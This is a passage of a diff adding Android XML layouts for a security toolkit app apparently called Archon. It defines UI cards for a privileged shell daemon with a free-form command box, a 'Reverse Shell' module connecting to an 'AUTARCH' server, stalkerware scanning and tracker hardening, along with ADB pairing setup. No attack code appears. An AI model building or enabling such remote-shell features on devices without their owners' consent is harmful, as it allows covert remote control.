android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Privileged shell daemon — enables modules without root"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<TextView
android:id="@+id/archon_info_text"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Status: checking..."
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<!-- Quick command -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="8dp">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_archon_cmd"
android:layout_width="0dp"
android:layout_height="40dp"
android:layout_weight="1"
android:hint="shell command..."
android:textColor="@color/text_primary"
android:textColorHint="@color/text_secondary"
android:textSize="13sp"
android:fontFamily="monospace"
android:inputType="text"
android:background="@color/surface_dark"
android:paddingStart="8dp"
android:paddingEnd="8dp"
android:singleLine="true" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_archon_run"
android:layout_width="wrap_content"
android:layout_height="36dp"
android:text="RUN"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
</LinearLayout>
<!-- Server control buttons -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_archon_info"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="INFO"
android:textSize="11sp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_archon_ping"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="PING"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_archon_packages"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="APPS"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ Protection Shield Card ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<!-- Title row -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="4dp">
<View
android:id="@+id/shield_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:layout_marginEnd="8dp" />
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="Protection Shield"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="v1.0"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Scan &amp; remove stalkerware"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<!-- Scan buttons row 1 -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_shield_full_scan"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="FULL SCAN"
android:textColor="@color/background"
android:textSize="11sp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_shield_scan_packages"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="PACKAGES"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- Scan buttons row 2 -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_shield_scan_admins"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="ADMINS"
android:textSize="11sp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_shield_scan_certs"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="CERTS"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_shield_scan_network"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="NETWORK"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- Shield status -->
<TextView
android:id="@+id/shield_status_text"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Last: no scan run"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ Tracking Honeypot Card ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<!-- Title row -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="4dp">
<View
android:id="@+id/honeypot_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:layout_marginEnd="8dp" />
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="Tracking Honeypot"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="v1.0"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Block trackers &amp; fake data"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<!-- Honeypot buttons row 1 -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_honeypot_harden"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="HARDEN ALL"
android:textColor="@color/background"
android:textSize="11sp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_honeypot_reset_ad"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="RESET AD ID"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- Honeypot buttons row 2 -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_honeypot_dns"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="PRIVATE DNS"
android:textSize="11sp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_honeypot_restrict"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="RESTRICT"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_honeypot_revoke"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="REVOKE"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- Honeypot status -->
<TextView
android:id="@+id/honeypot_status_text"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Status: idle"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ Reverse Shell Card ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<!-- Title row -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="4dp">
<View
android:id="@+id/revshell_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:layout_marginEnd="8dp" />
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="Reverse Shell"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="v1.0"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Remote shell to AUTARCH server"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<!-- RevShell enable/disable row -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_revshell_enable"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="ENABLE"
android:textColor="@color/background"
android:textSize="11sp"
style="@style/Widget.Material3.Button"
app:backgroundTint="#FFFF6600" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_revshell_disable"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="DISABLE"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- RevShell connect/disconnect/status row -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_revshell_connect"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="CONNECT"
android:textColor="@color/background"
android:textSize="11sp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_revshell_disconnect"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="DISCONNECT"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_revshell_status"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="STATUS"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- RevShell status -->
<TextView
android:id="@+id/revshell_status_text"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Status: Disabled"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ Output Log ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:cardBackgroundColor="@color/surface_dark"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="12dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Output:"
android:textColor="@color/terminal_green_dim"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<TextView
android:id="@+id/modules_output_log"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="> ready_"
android:textColor="@color/terminal_green"
android:textSize="11sp"
android:fontFamily="monospace"
android:lineSpacingExtra="2dp"
android:minLines="8" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
</ScrollView>

View File

@@ -0,0 +1,310 @@
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background"
android:padding="16dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/settings_title"
android:textColor="@color/terminal_green"
android:textSize="24sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="16dp" />
<!-- Server Connection -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/server_connection"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<com.google.android.material.textfield.TextInputLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="8dp"
android:hint="@string/hint_server_ip"
app:boxStrokeColor="@color/terminal_green"
app:hintTextColor="@color/terminal_green">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_server_ip"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="text"
android:textColor="@color/text_primary"
android:fontFamily="monospace" />
</com.google.android.material.textfield.TextInputLayout>
<com.google.android.material.textfield.TextInputLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="8dp"
android:hint="@string/hint_web_port"
app:boxStrokeColor="@color/terminal_green"
app:hintTextColor="@color/terminal_green">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_web_port"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="number"
android:textColor="@color/text_primary"
android:fontFamily="monospace" />
</com.google.android.material.textfield.TextInputLayout>
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- Port Configuration -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/adb_configuration"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<com.google.android.material.textfield.TextInputLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="8dp"
android:hint="@string/hint_adb_port"
app:boxStrokeColor="@color/terminal_green"
app:hintTextColor="@color/terminal_green">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_adb_port"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="number"
android:textColor="@color/text_primary"
android:fontFamily="monospace" />
</com.google.android.material.textfield.TextInputLayout>
<com.google.android.material.textfield.TextInputLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="8dp"
android:hint="@string/hint_usbip_port"
app:boxStrokeColor="@color/terminal_green"
app:hintTextColor="@color/terminal_green">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_usbip_port"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="number"
android:textColor="@color/text_primary"
android:fontFamily="monospace" />
</com.google.android.material.textfield.TextInputLayout>
<com.google.android.material.materialswitch.MaterialSwitch
android:id="@+id/switch_settings_auto_restart"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="@string/auto_restart_adb"
android:textColor="@color/text_primary"
android:fontFamily="monospace"
app:thumbTint="@color/terminal_green"
app:trackTint="@color/terminal_green_dim" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- Veilid BBS (Coming Soon) -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp"
android:alpha="0.6">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="8dp">
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="@string/bbs_configuration"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="COMING SOON"
android:textColor="@color/warning"
android:textSize="11sp"
android:textStyle="bold"
android:fontFamily="monospace" />
</LinearLayout>
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Veilid-based decentralized bulletin board for secure anonymous communication. Under development."
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<com.google.android.material.textfield.TextInputLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:hint="@string/hint_bbs_address"
app:boxStrokeColor="@color/terminal_green"
app:hintTextColor="@color/terminal_green"
android:enabled="false">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_bbs_address"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="text"
android:textColor="@color/text_primary"
android:fontFamily="monospace"
android:enabled="false"
android:hint="Not yet available" />
</com.google.android.material.textfield.TextInputLayout>
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- Auto-Detect -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_auto_detect"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="8dp"
android:text="@string/auto_detect"
android:textColor="@color/background"
android:fontFamily="monospace"
app:backgroundTint="@color/terminal_green"
app:icon="@android:drawable/ic_menu_search"
app:iconTint="@color/background"
app:cornerRadius="4dp" />
<!-- Actions -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="16dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_test_connection"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:layout_marginEnd="8dp"
android:text="@string/test_connection"
android:textColor="@color/background"
android:fontFamily="monospace"
app:backgroundTint="@color/terminal_green_dim"
app:cornerRadius="4dp" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_save_settings"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="@string/save_settings"
android:textColor="@color/background"
android:fontFamily="monospace"
app:backgroundTint="@color/terminal_green"
app:cornerRadius="4dp" />
</LinearLayout>
<!-- Status -->
<TextView
android:id="@+id/settings_status"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:textColor="@color/text_secondary"
android:fontFamily="monospace"
android:textSize="12sp"
android:layout_marginBottom="24dp" />
<!-- Logout -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_logout"
style="@style/Widget.MaterialComponents.Button.OutlinedButton"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="LOGOUT"
android:textColor="@color/danger"
android:fontFamily="monospace"
app:strokeColor="@color/danger"
app:cornerRadius="4dp" />
</LinearLayout>
</ScrollView>

View File

@@ -0,0 +1,383 @@
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background"
android:padding="16dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical">
<!-- Header -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ARCHON SETUP"
android:textColor="@color/terminal_green"
android:textSize="24sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<!-- Privilege Status -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="16dp">
<View
android:id="@+id/privilege_status_dot"
android:layout_width="12dp"
android:layout_height="12dp"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/privilege_status_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Checking privileges..."
android:textColor="@color/text_primary"
android:textSize="14sp"
android:fontFamily="monospace" />
</LinearLayout>
<!-- ═══ STEP 1: Wireless Debugging (Shizuku-style) ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green"
app:strokeWidth="2dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="STEP 1: Wireless Debugging"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Self-contained ADB — no PC needed"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="1. Tap START PAIRING below\n2. A notification will appear\n3. Open Developer Options > Wireless Debugging\n4. Tap 'Pair with pairing code'\n5. Enter the code in Archon's notification"
android:textColor="@color/text_primary"
android:textSize="13sp"
android:fontFamily="monospace"
android:lineSpacingExtra="4dp"
android:layout_marginBottom="12dp" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_start_pairing"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="START PAIRING"
android:textColor="@color/background"
android:textSize="16sp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
<TextView
android:id="@+id/local_adb_status"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Status: not paired"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginTop="8dp" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ STEP 2: Archon Server ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="STEP 2: Archon Server"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Shell-level server (UID 2000) via app_process"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<!-- Status -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="12dp">
<View
android:id="@+id/archon_server_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/archon_server_status"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Status: checking..."
android:textColor="@color/text_primary"
android:textSize="13sp"
android:fontFamily="monospace" />
</LinearLayout>
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Modules (Shield, Honeypot, RevShell) run through\nthe Archon Server on localhost:17321."
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:lineSpacingExtra="2dp"
android:layout_marginBottom="12dp" />
<!-- Server buttons -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_start_archon_server"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="START SERVER"
android:textColor="@color/background"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_stop_archon_server"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="STOP SERVER"
android:textColor="@color/text_primary"
android:layout_marginStart="8dp"
android:enabled="false"
style="@style/Widget.Material3.Button.OutlinedButton"
app:strokeColor="@color/danger" />
</LinearLayout>
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_show_command"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="SHOW ADB COMMAND"
android:textSize="11sp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ ALT: USB via AUTARCH ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ALT: USB via AUTARCH"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Connect phone to AUTARCH via USB cable"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<TextView
android:id="@+id/server_adb_status"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Server: not configured"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_bootstrap_usb"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="BOOTSTRAP VIA USB"
android:textColor="@color/background"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ ALT: Root Access ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ALT: Root Access"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:id="@+id/root_status"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Status: checking..."
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
